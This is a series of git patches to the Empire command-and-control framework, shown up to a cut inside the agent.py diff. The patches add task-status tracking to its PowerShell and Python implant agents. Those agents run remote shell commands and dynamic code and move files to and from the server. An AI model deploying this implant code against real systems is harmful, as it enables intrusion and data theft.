From 1d896af3443a544d2f8193456dda64bd68c0dc1c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 9 Jun 2024 10:54:47 -0700 Subject: [PATCH 01/26] Bump tj-actions/changed-files from 44.4.0 to 44.5.2 (#830) Bumps [tj-actions/changed-files](https://github.com/tj-actions/changed-files) from 44.4.0 to 44.5.2. - [Release notes](https://github.com/tj-actions/changed-files/releases) - [Changelog](https://github.com/tj-actions/changed-files/blob/main/HISTORY.md) - [Commits](https://github.com/tj-actions/changed-files/compare/v44.4.0...v44.5.2) --- updated-dependencies: - dependency-name: tj-actions/changed-files dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/lint-and-test.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 543437db1..c8db061eb 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -139,7 +139,7 @@ jobs: # To save CI time, only run these tests when the install script or deps changed - name: Get changed files using defaults id: changed-files - uses: tj-actions/changed-files@v44.4.0 + uses: tj-actions/changed-files@v44.5.2 - name: Build images if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') run: docker compose -f .github/install_tests/docker-compose-install-tests.yml build --parallel ${{ join(matrix.images, ' ') }} From e67ecc4d1588f94ef41bfcdc4dc9c7c9026b8b90 Mon Sep 17 00:00:00 2001 From: MatthewGeneNavarro <85688959+MatthewGeneNavarro@users.noreply.github.com> Date: Sun, 9 Jun 2024 12:59:24 -0500 Subject: [PATCH 02/26] Update client.md (#732) renamed the title from Client to CLI Client (LEGACY) and added a note for users to use Starkiller. --- docs/quickstart/configuration/client.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/docs/quickstart/configuration/client.md b/docs/quickstart/configuration/client.md index 8b5061c88..22d0f294f 100644 --- a/docs/quickstart/configuration/client.md +++ b/docs/quickstart/configuration/client.md @@ -1,4 +1,7 @@ -# Client +# CLI Client (LEGACY) + +[!NOTE] +> The CLI Client was the first interface created for the Empire C2 suite but is no longer the recommended method of interacting with the Empire server. Starkiller has replaced the CLI client as a modern interface and is now the recommend method of interacting with the Empire server. The Client configuration is managed via [empire/client/config.yaml](https://github.com/BC-SECURITY/Empire/blob/master/empire/client/config.yaml). From 227bca70a802bae7f33dd6db7f3f83737d3b5851 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Mon, 10 Jun 2024 16:59:48 +0200 Subject: [PATCH 03/26] updated c# server plugin to use taskings (#826) --- CHANGELOG.md | 3 + .../plugins/csharpserver/csharpserver.py | 91 +++++++++++++------ 2 files changed, 66 insertions(+), 28 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 88ec61346..98d86f40b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Changed +- Converted C# server plugin to use plugin taskings (@Cx01N) + ## [5.10.3] - 2024-05-23 ### Changed diff --git a/empire/server/plugins/csharpserver/csharpserver.py b/empire/server/plugins/csharpserver/csharpserver.py index ae54b6201..0def0a03b 100644 --- a/empire/server/plugins/csharpserver/csharpserver.py +++ b/empire/server/plugins/csharpserver/csharpserver.py @@ -6,17 +6,18 @@ import subprocess import empire.server.common.helpers as helpers -from empire.server.common.plugins import Plugin +from empire.server.common.empire import MainMenu +from empire.server.common.plugins import BasePlugin +from empire.server.core.db import models +from empire.server.core.db.base import SessionLocal +from empire.server.core.db.models import PluginTaskStatus from empire.server.core.plugin_service import PluginService log = logging.getLogger(__name__) -class Plugin(Plugin): +class Plugin(BasePlugin): def onLoad(self): - self.main_menu = None - self.csharpserver_proc = None - self.thread = None self.info = { "Name": "csharpserver", "Authors": [ @@ -41,31 +42,42 @@ def onLoad(self): "Strict": True, } } + + self.csharpserver_proc = None + self.thread = None self.tcp_ip = "127.0.0.1" self.tcp_port = 2012 self.status = "OFF" def execute(self, command, **kwargs): - try: - results = self.do_csharpserver(command) - return results - except Exception as e: - log.error(e) - return False, f"[!] {e}" - - def get_commands(self): - return self.commands - - def register(self, mainMenu): + db = kwargs["db"] + if command["status"] == "start": + input = "Starting Empire C# server..." + else: + input = "Stopping Empire C# server..." + + plugin_task = models.PluginTask( + plugin_id=self.info["Name"], + input=input, + input_full=input, + user_id=1, + status=PluginTaskStatus.completed, + ) + output = self.toggle_csharpserver(command) + plugin_task.output = output + db.add(plugin_task) + db.flush() + + def register(self, main_menu: MainMenu): """ - any modifications to the mainMenu go here - e.g. + any modifications to the main_menu go here - e.g. registering functions to be run by user commands """ - self.installPath = mainMenu.installPath - self.main_menu = mainMenu - self.plugin_service: PluginService = mainMenu.pluginsv2 + self.installPath = main_menu.installPath + self.main_menu = main_menu + self.plugin_service: PluginService = main_menu.pluginsv2 - def do_csharpserver(self, command): + def toggle_csharpserver(self, command): """ Check if the Empire C# server is already running. """ @@ -101,6 +113,7 @@ def do_csharpserver(self, command): self.installPath + "/csharp/Covenant/bin/Debug/net6.0/EmpireCompiler.dll", ] + self.csharpserver_proc = subprocess.Popen( csharp_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) @@ -118,14 +131,36 @@ def do_csharpserver(self, command): return "[!] Empire C# server is already started" def thread_csharp_responses(self): + task_input = "Collecting Empire C# server output stream..." + while True: - output = self.csharpserver_proc.stdout.readline() - if not output: - log.warning("csharpserver output stream closed") - return - output = output.rstrip() - if output: - log.info(output.decode("UTF-8")) + response = self.csharpserver_proc.stdout.readline().rstrip() + + if response: + output = response.decode("UTF-8") + log.debug(output) + status = PluginTaskStatus.completed + self.record_task(status, output, task_input) + + elif not response: + output = "Empire C# server output stream closed" + status = PluginTaskStatus.error + log.warning(output) + self.record_task(status, output, task_input) + + def record_task(self, status, task_output, task_input): + with SessionLocal.begin() as db: + plugin_task = models.PluginTask( + plugin_id=self.info["Name"], + input=task_input, + input_full=task_input, + user_id=1, + status=status, + ) + + plugin_task.output = task_output + db.add(plugin_task) + db.flush() def do_send_message(self, compiler_yaml, task_name, confuse=False): bytes_yaml = compiler_yaml.encode("UTF-8") From 096a5238f18a1e52277b08dd2dcfd7dfe770d9c2 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Tue, 11 Jun 2024 13:51:50 -0400 Subject: [PATCH 04/26] Add task tracking to all agents (#829) * initial update to fix ps jobs in ipy * updated job tracking * fixed formatted string error in ironpython agent * fixed job tracking to remove complete powershell jobs * initial ipy agent updates * changed json back to table for return in ironpython * updated powershell agent task list * updated python agent and fixed missing character error * fixed bypass for python job buffer --- CHANGELOG.md | 7 + empire/server/data/agent/agent.ps1 | 131 +++-- empire/server/data/agent/agent.py | 424 +++++++++------ empire/server/data/agent/ironpython_agent.py | 524 ++++++++++++------- 4 files changed, 702 insertions(+), 384 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 98d86f40b..c42e1836f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Added +- Added threaded jobs for powershell tasks using Appdomains (@Cx01N) +- Updated agents to track all tasks and removed only tracking jobs (@Cx01N) + +### Fixed +- Fixed issue in python agents where background jobs were failed due to a missing character (Cx01N) + ### Changed - Converted C# server plugin to use plugin taskings (@Cx01N) diff --git a/empire/server/data/agent/agent.ps1 b/empire/server/data/agent/agent.ps1 index ba06f04cf..5bb0877d5 100644 --- a/empire/server/data/agent/agent.ps1 +++ b/empire/server/data/agent/agent.ps1 @@ -102,6 +102,7 @@ function Invoke-Empire { $script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse)); $script:Proxy = $ProxySettings; $script:CurrentListenerName = ""; + $script:tasks = @{} # the currently active server $Script:ServerIndex = 0; @@ -137,9 +138,6 @@ function Invoke-Empire { } } - # keep track of all background jobs - # format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... } - $Script:Jobs = @{}; $Script:Downloads = @{}; # the currently imported script held in memory $script:ImportedScript = ''; @@ -433,14 +431,12 @@ function Invoke-Empire { # takes a string representing a PowerShell script to run, build a new # AppDomain and PowerShell runspace, and kick off the execution in the - # new runspace/AppDomain asynchronously, storing the results in $Script:Jobs. + # new runspace/AppDomain asynchronously, storing the results in $Script:tasks. function Start-AgentJob { param($ScriptString) - $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6); - # create our new AppDomain - $AppDomain = [AppDomain]::CreateDomain($RandName); + $AppDomain = [AppDomain]::CreateDomain($ResultID); # load the PowerShell dependency assemblies in the new runspace and instantiate a PS runspace $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create(); @@ -456,23 +452,40 @@ function Invoke-Empire { # kick off asynchronous execution $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType))); - $Script:Jobs[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}; - $RandName; + $Script:tasks[$ResultID] = @{ + "result_id" = $ResultID + "packet_type" = $type + "status" = "running" + "thread" = $Job + "language" = $null + "powershell" = @{ + "app_domain" = $AppDomain + "ps_host" = $PSHost + "buffer" = $Buffer + "ps_host_exec" = $null + } + } + $ResultID; } # returns $True if the specified job is completed, $False otherwise function Get-AgentJobCompleted { param($JobName) - if($Script:Jobs.ContainsKey($JobName)) { - $Script:Jobs[$JobName]['Job'].IsCompleted; + if ($script:tasks.ContainsKey($JobName)) { + $jobCompleted = $script:tasks[$JobName]['thread'].IsCompleted + if ($jobCompleted) { + $script:tasks[$JobName]['status'] = 'completed' + } + return $jobCompleted } + return $false } # reads any data from the output buffer preserved for the specified job function Receive-AgentJob { param($JobName) - if($Script:Jobs.ContainsKey($JobName)) { - $Script:Jobs[$JobName]['Buffer'].ReadAll(); + if($script:tasks.ContainsKey($JobName)) { + $script:tasks[$JobName]['powershell']['buffer'].ReadAll(); } } @@ -480,14 +493,18 @@ function Invoke-Empire { # tear down the appdomain, and remove the job from the internal cache function Stop-AgentJob { param($JobName) - if($Script:Jobs.ContainsKey($JobName)) { + if ($script:tasks.ContainsKey($JobName)) { # kill the PS host - $Null = $Script:Jobs[$JobName]['PSHost'].Stop(); + $Null = $script:tasks[$JobName]['powershell']['ps_host'].Stop() # get results - $Script:Jobs[$JobName]['Buffer'].ReadAll(); + $results = $script:tasks[$JobName]['powershell']['buffer'].ReadAll() # unload the app domain runner - $Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain']); - $Script:Jobs.Remove($JobName); + $Null = [AppDomain]::Unload($script:tasks[$JobName]['powershell']['app_domain']) + # mark the job as stopped + $script:tasks[$JobName]['status'] = 'stopped' + # remove the job from the hashtable + $script:tasks.Remove($JobName) + return $results } } @@ -801,8 +818,23 @@ function Invoke-Empire { param($type, $msg, $ResultID) try { + $script:tasks[$ResultID] = @{ + "result_id" = $ResultID + "packet_type" = $type + "status" = "started" + "thread" = $null + "language" = $null + "powershell" = @{ + "app_domain" = $null + "ps_host" = $null + "buffer" = $null + "ps_host_exec" = $null + } + } + # sysinfo request if($type -eq 1) { + $script:tasks[$ResultID]['status'] = 'completed' return Encode-Packet -type $type -data $(Get-Sysinfo) -ResultID $ResultID; } # agent exit @@ -817,6 +849,7 @@ function Invoke-Empire { # set proxy chain elseif($type -eq 34) { Encode-Packet -type 0 -data '[!] Proxy chain not implemented' -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'unimplemented' } # shell command @@ -833,6 +866,7 @@ function Invoke-Empire { $cmdargs = $parts[1..$parts.length] -join " "; Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd -cmdargs $cmdargs) -join "`n").trim() -ResultID $ResultID; } + $script:tasks[$ResultID]['status'] = 'completed' } # file download elseif($type -eq 41) { @@ -907,10 +941,12 @@ function Invoke-Empire { } while($EncodedPart) Encode-Packet -type 40 -data "[*] File download of $file completed" -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } } catch { Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'error' } } # file upload @@ -923,9 +959,11 @@ function Invoke-Empire { try{ Set-Content -Path $filename -Value $Content -Encoding Byte -ErrorAction Stop -ErrorVariable error Encode-Packet -type $type -data "[*] Upload of $fileName successful" -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } catch { Encode-Packet -type 0 -data $error -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'error' } } # directory list @@ -961,6 +999,7 @@ function Invoke-Empire { } } Encode-Packet -data $output -type $type -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } elseif($type -eq 44){ try{ @@ -1027,16 +1066,28 @@ function Invoke-Empire { $Results = $pipeOutput.ToString(); } Encode-Packet -data $results -type 40 -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } catch { Encode-Packet -type 0 -data '[!] Error while executing assembly' -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'error' } } # return the currently running jobs elseif($type -eq 50) { - $Downloads = $Script:Jobs.Keys -join "`n"; - Encode-Packet -data ("Running Jobs:`n$Downloads") -type $type -ResultID $ResultID; + # Filter the tasks and create a list of strings for each task + $taskLines = @("Task ID | Status") + $taskLines += "-" * 20 + foreach ($task_id in $script:tasks.Keys) { + $task_info = $script:tasks[$task_id] + $taskLine = "$task_id | $($task_info.status)" + $taskLines += $taskLine + } + + $tasksOutput = $taskLines -join "`n" + Encode-Packet -data ("`n$tasksOutput") -type $type -ResultID $ResultID + $script:tasks[$ResultID]['status'] = 'completed' } # stop and remove a specific job if it's running @@ -1051,20 +1102,24 @@ function Invoke-Empire { Encode-Packet -type $type -data $($Results) -ResultID $JobResultID; } Encode-Packet -type 51 -data "Job $JobName killed." -ResultID $JobResultID; + $script:tasks[$ResultID]['status'] = 'completed' } catch { Encode-Packet -type 0 -data "[!] Error in stopping job: $JobName" -ResultID $JobResultID; + $script:tasks[$ResultID]['status'] = 'error' } } # socks proxy server elseif($type -eq 60) { Encode-Packet -type 0 -data '[!] SOCKS server not implemented' -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'unimplemented' } # socks proxy server data elseif($type -eq 61) { Encode-Packet -type 0 -data '[!] SOCKS server data not implemented' -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'unimplemented' } # dynamic code execution, wait for output, don't save output @@ -1072,6 +1127,7 @@ function Invoke-Empire { $ResultData = IEX $data; if($ResultData) { Encode-Packet -type $type -data $ResultData -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } } # dynamic code execution, wait for output, save output @@ -1081,8 +1137,8 @@ function Invoke-Empire { $extension = $data.Substring(15,5); $data = $data.Substring(20); - # send back the results Encode-Packet -type $type -data ($prefix + $extension + (IEX $data)) -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } # dynamic code execution, no wait, don't save output @@ -1090,10 +1146,12 @@ function Invoke-Empire { $jobID = Start-AgentJob $data; $script:ResultIDs[$jobID]=$resultID; Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } # dynamic code execution, no wait, save output elseif($type -eq 111 -or $type -eq 113) { Encode-Packet -type 0 -data '[!] Dynamic code execution, no wait, save output not implemented' -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'unimplemented' # Write-Host "'dynamic code execution, no wait, save output' not implemented!" @@ -1111,6 +1169,7 @@ function Invoke-Empire { # encrypt the script for storage $script:ImportedScript = Encrypt-Bytes $Encoding.GetBytes($data); Encode-Packet -type $type -data "script successfully saved in memory" -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } # execute a function in the currently imported script @@ -1121,6 +1180,7 @@ function Invoke-Empire { $jobID = Start-AgentJob ([System.Text.Encoding]::UTF8.GetString($script) + "; $data"); $script:ResultIDs[$jobID]=$ResultID; Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'running' } } @@ -1130,10 +1190,11 @@ function Invoke-Empire { IEX $data Encode-Packet -type $type -data "[+] Switched the current listener to: $CurrentListenerName" -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } catch { - Encode-Packet -type 0 -data ("[!] Unable to update agent comm methods: $_") -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'error' } } @@ -1142,14 +1203,17 @@ function Invoke-Empire { $script:CurrentListenerName = $data; Encode-Packet -type $type -data "[+] Updated the CurrentListenerName to: $CurrentListenerName" -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'completed' } else{ Encode-Packet -type 0 -data "[!] invalid type: $type" -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'error' } } catch [System.Exception] { Encode-Packet -type $type -data "[!] error running command: $_" -ResultID $ResultID; + $script:tasks[$ResultID]['status'] = 'error' } } @@ -1216,7 +1280,7 @@ function Invoke-Empire { $Packets = $null;(& $GetTask); # get any job results and kill the jobs - ForEach($JobName in $Script:Jobs.Keys) { + ForEach($JobName in $script:tasks.Keys) { $Results = Stop-AgentJob -JobName $JobName | fl | Out-String; $JobResultID = $script:ResultIDs[$JobName]; $Packets += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID); @@ -1289,19 +1353,18 @@ function Invoke-Empire { # poll running jobs, receive any data, and remove any completed jobs $JobResults = $Null; - ForEach($JobName in $Script:Jobs.Keys) { - $JobResultID = $script:ResultIDs[$JobName]; - # check if the job is still running - if(Get-AgentJobCompleted -JobName $JobName) { - # the job has stopped, so receive results/cleanup - $Results = Stop-AgentJob -JobName $JobName | fl | Out-String; + $JobNames = $Script:tasks.Keys | ForEach-Object { $_ } + + ForEach($JobName in $JobNames) { + $JobResultID = $script:ResultIDs[$JobName] + if (Get-AgentJobCompleted -JobName $JobName) { + $Results = Stop-AgentJob -JobName $JobName | fl | Out-String } - else { - $Results = Receive-AgentJob -JobName $JobName | fl | Out-String; + elseif ($script:tasks[$JobName]['status'] -eq 'running') { + $Results = Receive-AgentJob -JobName $JobName | fl | Out-String } - - if($Results) { - $JobResults += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID); + if ($Results) { + $JobResults += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID) } } diff --git a/empire/server/data/agent/agent.py b/empire/server/data/agent/agent.py index f0e3a5cf4..b420a3646 100644 --- a/empire/server/data/agent/agent.py +++ b/empire/server/data/agent/agent.py @@ -8,6 +8,7 @@ import os import platform import pwd +import queue as Queue import random import re import shutil @@ -354,10 +355,10 @@ def __init__(self, self.defaultResponse = base64.b64decode("") self.packet_handler.missedCheckins = 0 self.sessionID = session_id - self.jobMessageBuffer = "" + self.job_message_buffer = "" self.socksthread = False self.socksqueue = None - self.jobs = {} + self.tasks = {} parts = self.profile.split("|") self.userAgent = parts[1] @@ -379,24 +380,23 @@ def __init__(self, def agent_exit(self): # exit for proper job / thread cleanup - if len(self.jobs) > 0: + if len(self.tasks) > 0: try: - for x in self.jobs: - self.jobs[x].kill() - self.jobs.pop(x) + for x in self.tasks: + self.tasks[x]['thread'].kill() except: # die hard if thread kill fails pass sys.exit() def send_job_message_buffer(self): - if len(self.jobs) > 0: + if self.job_message_buffer != "": result = self.get_job_message_buffer() self.packet_handler.process_job_tasking(result) else: pass - def run_prebuilt_command(self, data, resultID): + def run_prebuilt_command(self, data, result_id): """ Run a command on the system and return the results. Task 40 @@ -404,15 +404,16 @@ def run_prebuilt_command(self, data, resultID): parts = data.split(" ") if len(parts) == 1: data = parts[0] - resultData = str(self.run_command(data)) - self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID)) + result_data = str(self.run_command(data)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(40, result_data, result_id)) else: cmd = parts[0] cmdargs = " ".join(parts[1: len(parts)]) - resultData = str(self.run_command(cmd, cmdargs=cmdargs)) - self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID)) + result_data = str(self.run_command(cmd, cmdargs=cmdargs)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(40, result_data, result_id)) + self.tasks[result_id]["status"] = "completed" - def file_download(self, data, resultID): + def file_download(self, data, result_id): """ Download a file from the server. Task 41 @@ -422,7 +423,7 @@ def file_download(self, data, resultID): if not os.path.exists(objPath): self.packet_handler.send_message( self.packet_handler.build_response_packet( - 40, "file does not exist or cannot be accessed", resultID + 40, "file does not exist or cannot be accessed", result_id ) ) @@ -455,7 +456,7 @@ def file_download(self, data, resultID): if not encodedPart or encodedPart == "" or len(encodedPart) == 16: break - self.packet_handler.send_message(self.packet_handler.build_response_packet(41, partData, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(41, partData, result_id)) minSleep = int((1.0 - self.jitter) * self.delay) maxSleep = int((1.0 + self.jitter) * self.delay) @@ -463,8 +464,9 @@ def file_download(self, data, resultID): time.sleep(sleepTime) partIndex += 1 offset += 512000 + self.tasks[result_id]["status"] = "completed" - def file_upload(self, data, resultID): + def file_upload(self, data, result_id): """ Upload a file to the server. Task 42 @@ -478,20 +480,22 @@ def file_upload(self, data, resultID): f.write(raw) self.packet_handler.send_message( self.packet_handler.build_response_packet( - 42, "[*] Upload of %s successful" % (filePath), resultID + 42, "[*] Upload of %s successful" % (filePath), result_id ) ) + self.tasks[result_id]["status"] = "completed" except Exception as e: self.packet_handler.send_message( self.packet_handler.build_response_packet( 0, "[!] Error in writing file %s during upload: %s" % (filePath, str(e)), - resultID, + result_id, ) ) + self.tasks[result_id]["status"] = "error" - def directory_list(self, data, resultID): + def directory_list(self, data, result_id): """ List a directory on the target. Task 43 @@ -508,7 +512,7 @@ def directory_list(self, data, resultID): if not os.path.isdir(path): self.packet_handler.send_message( self.packet_handler.build_response_packet( - 43, "Directory {} not found.".format(path), resultID + 43, "Directory {} not found.".format(path), result_id ) ) items = [] @@ -526,61 +530,92 @@ def directory_list(self, data, resultID): } ) - self.packet_handler.send_message(self.packet_handler.build_response_packet(43, result_data, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(43, result_data, result_id)) + self.tasks[result_id]["status"] = "completed" - def csharp_execute(self, data, resultID): + def csharp_execute(self, data, result_id): """ Execute C# module in ironpython using reflection Task 44 """ self.packet_handler.send_message( self.packet_handler.build_response_packet( - 44, "[!] C# module execution not implemented", resultID + 44, "[!] C# module execution not implemented", result_id ) ) + self.tasks[result_id]["status"] = "unimplemented" - def job_list(self, resultID): + def job_list(self, result_id): """ - Return a list of all running agent.jobs. + Return a list of all running agent jobs as a formatted table. + TODO: Return JSON instead of a table. Task 50 """ - msg = "Active agent.jobs:\n" + self.tasks[result_id]["status"] = "completed" - for key in self.jobs: - msg += "Task %s" % key - self.packet_handler.send_message(self.packet_handler.build_response_packet(50, msg, resultID)) + filtered_tasks = { + task_id: { + "status": task_info.get("status", "N/A") + } for task_id, task_info in self.tasks.items() + } - def stop_job(self, jobID, resultID): + headers = ["Task ID", "Status"] + rows = [[task_id, task_info["status"]] for task_id, task_info in filtered_tasks.items()] + column_widths = [max(len(str(item)) for item in col) for col in zip(*([headers] + rows))] + separator = ' | '.join('-' * width for width in column_widths) + header_line = ' | '.join(headers[i].ljust(column_widths[i]) for i in range(len(headers))) + + table_lines = [header_line, separator] + for row in rows: + row_line = ' | '.join(str(row[i]).ljust(column_widths[i]) for i in range(len(row))) + table_lines.append(row_line) + + tasks_table = '\n'.join(table_lines) + self.packet_handler.send_message(self.packet_handler.build_response_packet(50, tasks_table, result_id)) + + def stop_task(self, job_to_kill, result_id): """ Stop a running job. Task 51 """ try: - self.jobs[int(jobID)].kill() - self.jobs.pop(int(jobID)) - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 51, "[+] Job thread %s stopped successfully" % (jobID), resultID + if self.tasks[job_to_kill]['thread'].is_alive(): + self.tasks[job_to_kill]['thread'].kill() + self.tasks[job_to_kill]['status'] = "stopped" + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 51, "[+] Job thread %s stopped successfully" % (job_to_kill), result_id + ) ) - ) + else: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 51, "[!] Job thread %s already stopped" % (job_to_kill), result_id + ) + ) + + self.tasks[result_id]["status"] = "completed" + except Exception as e: self.packet_handler.send_message( self.packet_handler.build_response_packet( - 51, "[!] Error stopping job thread: %s" % (e), resultID + 51, "[!] Error stopping job thread: %s" % (e), result_id ) ) + self.tasks[result_id]["status"] = "error" - def start_smb_pipe_server(self, data, resultID): + def start_smb_pipe_server(self, data, result_id): """ Start an SMB pipe server on the target. Task 70 """ self.packet_handler.send_message( - self.packet_handler.build_response_packet(70, "[!] SMB server not support in Python agent", resultID) + self.packet_handler.build_response_packet(70, "[!] SMB server not support in Python agent", result_id) ) + self.tasks[result_id]["status"] = "unimplemented" - def dynamic_code_execute_wait_nosave(self, data, resultID): + def dynamic_code_execute_wait_nosave(self, data, result_id): """ Execute dynamic code and wait for the results without saving output. Task 100 @@ -592,17 +627,20 @@ def dynamic_code_execute_wait_nosave(self, data, resultID): exec(code_obj, globals()) sys.stdout = sys.__stdout__ results = buffer.getvalue() - self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(results), resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(results), result_id)) + self.tasks[result_id]["status"] = "completed" + except Exception as e: errorData = str(buffer.getvalue()) return self.packet_handler.build_response_packet( 0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" % (e, errorData), - resultID, + result_id, ) + self.tasks[result_id]["status"] = "error" - def dynamic_code_execution_wait_save(self, data, resultID): + def dynamic_code_execution_wait_save(self, data, result_id): """ Execute dynamic code and wait for the results while saving output. Task 101 @@ -628,9 +666,11 @@ def dynamic_code_execution_wait_save(self, data, resultID): "{0: <15}".format(prefix) + "{0: <5}".format(extension) + encodedPart, - resultID, + result_id, ) ) + self.tasks[result_id]["status"] = "completed" + except Exception as e: # Also return partial code that has been executed errorData = buffer.getvalue() @@ -639,11 +679,13 @@ def dynamic_code_execution_wait_save(self, data, resultID): 0, "error executing specified Python data %s \nBuffer data recovered:\n%s" % (e, errorData), - resultID, + result_id, ) ) + self.tasks[result_id]["status"] = "error" + - def disk_code_execution_wait_save(self, data, resultID): + def disk_code_execution_wait_save(self, data, result_id): """ Execute on disk code and wait for the results while saving output. For modules that require multiprocessing not supported by exec @@ -674,7 +716,9 @@ def disk_code_execution_wait_save(self, data, resultID): result += "\n\nError removing module file, please verify path: " + str( implantPath ) - self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(result), resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(result), result_id)) + self.tasks[result_id]["status"] = "completed" + except Exception as e: fileCheck = os.path.isfile(implantPath) if fileCheck: @@ -683,32 +727,35 @@ def disk_code_execution_wait_save(self, data, resultID): 0, "error executing specified Python data: %s \nError removing module file, please verify path: %s" % (e, implantPath), - resultID, + result_id, ) ) self.packet_handler.send_message( self.packet_handler.build_response_packet( - 0, "error executing specified Python data: %s" % (e), resultID + 0, "error executing specified Python data: %s" % (e), result_id ) ) + self.tasks[result_id]["status"] = "error" - def powershell_task(self, data, resultID): + def powershell_task(self, data, result_id): """ Execute a PowerShell command. Task 112 """ - result_packet = self.packet_handler.build_response_packet(110, "[!] PowerShell tasks not implemented", resultID) + result_packet = self.packet_handler.build_response_packet(110, "[!] PowerShell tasks not implemented", result_id) self.packet_handler.process_job_tasking(result_packet) + self.tasks[result_id]["status"] = "unimplemented" - def powershell_task_dyanmic_code_wait_nosave(self, data, resultID): + def powershell_task_dyanmic_code_wait_nosave(self, data, result_id): """ Execute a PowerShell command and wait for the results without saving output. Task 118 """ - result_packet = self.packet_handler.build_response_packet(110, "[!] PowerShell tasks not implemented", resultID) + result_packet = self.packet_handler.build_response_packet(110, "[!] PowerShell tasks not implemented", result_id) self.packet_handler.process_job_tasking(result_packet) + self.tasks[result_id]["status"] = "unimplemented" - def script_command(self, data, resultID): + def script_command(self, data, result_id): """ Execute a base64 encoded script. Task 121 @@ -721,7 +768,9 @@ def script_command(self, data, resultID): exec(code_obj, globals()) sys.stdout = sys.__stdout__ result = str(buffer.getvalue()) - self.packet_handler.send_message(self.packet_handler.build_response_packet(121, result, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(121, result, result_id)) + self.tasks[result_id]["status"] = "completed" + except Exception as e: errorData = str(buffer.getvalue()) self.packet_handler.send_message( @@ -729,11 +778,12 @@ def script_command(self, data, resultID): 0, "error executing specified Python data %s \nBuffer data recovered:\n%s" % (e, errorData), - resultID, + result_id, ) ) + self.tasks[result_id]["status"] = "error" - def script_load(self, data, resultID): + def script_load(self, data, result_id): """ Load a script into memory. Task 122 @@ -748,22 +798,25 @@ def script_load(self, data, resultID): if not dec_data["crc32_check"]: self.packet_handler.send_message( self.packet_handler.build_response_packet( - 122, "Failed crc32_check during decompression", resultID + 122, "Failed crc32_check during decompression", result_id ) ) + self.tasks[result_id]["status"] = 